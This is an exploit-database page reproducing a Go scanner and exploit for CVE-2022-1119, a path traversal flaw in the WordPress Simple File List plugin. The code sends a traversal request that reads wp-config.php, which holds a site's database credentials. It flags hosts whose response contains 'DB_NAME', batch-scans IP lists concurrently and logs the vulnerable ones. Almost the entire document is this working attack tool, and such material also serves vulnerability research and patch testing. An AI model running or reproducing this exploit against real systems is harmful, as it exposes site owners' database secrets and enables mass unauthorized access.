Exploit databaseDownload repository ZIP
GH-dba64fa8fc5cf3d9486d0bd8a1f53b9a
z92g/cve-2022-1119
Sources for CVE-2022-1119
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files6
z92g/cve-2022-1119Revision 4755e9e7cbce
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2022-1119.go
Suggested starting fileGo · 2,446 bytespackage main
import (
"bufio"
"fmt"
"github.com/gookit/color"
"github.com/imroc/req/v3"
"io"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
var wg sync.WaitGroup
var stamp bool
var absPath string
type WordPress struct {
}
func init() {
files, _ := os.Executable()
path, _ := filepath.Split(files)
absPath = path + time.Now().Format("20060102150405") + ".log"
}
func (w *WordPress) r0(ip string, client *req.Client) (bool, error) {
payload := "/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=..%2f..%2f..%2f../wp-config.php"
resp, err := w.payload(ip, payload, client)
if err != nil {
return false, err
}
if resp.StatusCode == 200 && strings.Contains(resp.String(), "DB_NAME") {
return true, nil
}
return false, nil
}
func (w *WordPress) payload(ip, payload string, client *req.Client) (*req.Response, error) {
resp, err := client.R().
SetHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36").
Get("http://" + ip + payload)
if err != nil {
return nil, err
}
return resp, nil
}
func (w *WordPress) singleScan(ip string) {
if stamp {
defer wg.Done()
}
client := req.C()
r0, err := w.r0(ip, client)
if err != nil {
color.FgRed.Printf("[ERROR]:%v\n", err)
return
}
if r0 {
color.FgGreen.Printf("[INFO]:[%s] WordPress CVE-2022-1119 Existent\n", ip)
w.scanLogs(ip)
} else {
color.FgGray.Printf("[INFO]:[%s] WordPress CVE-2022-1119 Non-existent\n", ip)
}
}
func (w *WordPress) batchScan(path string) {
stamp = true
begin := time.Now()
color.FgGray.Println("[INFO]:Scan...")
f, err := os.Open(path)
if err != nil {
color.FgRed.Println("[ERROR]:%v\n", err)
return
}
defer f.Close()
r := bufio.NewReader(f)
for {
ip, err := r.ReadString('\n')
ip = strings.TrimSpace(ip)
if err != nil && err != io.EOF {
color.FgRed.Println("[ERROR]:%v\n", err)
return
}
if ip != "" {
wg.Add(1)
go w.singleScan(ip)
}
if err == io.EOF {
break
}
}
wg.Wait()
timeDif := time.Now().Sub(begin)
color.FgGray.Println("[INFO]:Take", timeDif)
}
func (w *WordPress) scanLogs(ip string) {
f, err := os.OpenFile(absPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
f.WriteString(fmt.Sprintf("[%s] [INFO]:[%s] WordPress CVE-2022-1119 Existent\n", time.Now().Format("2006-01-02 15:04:05"), ip))
}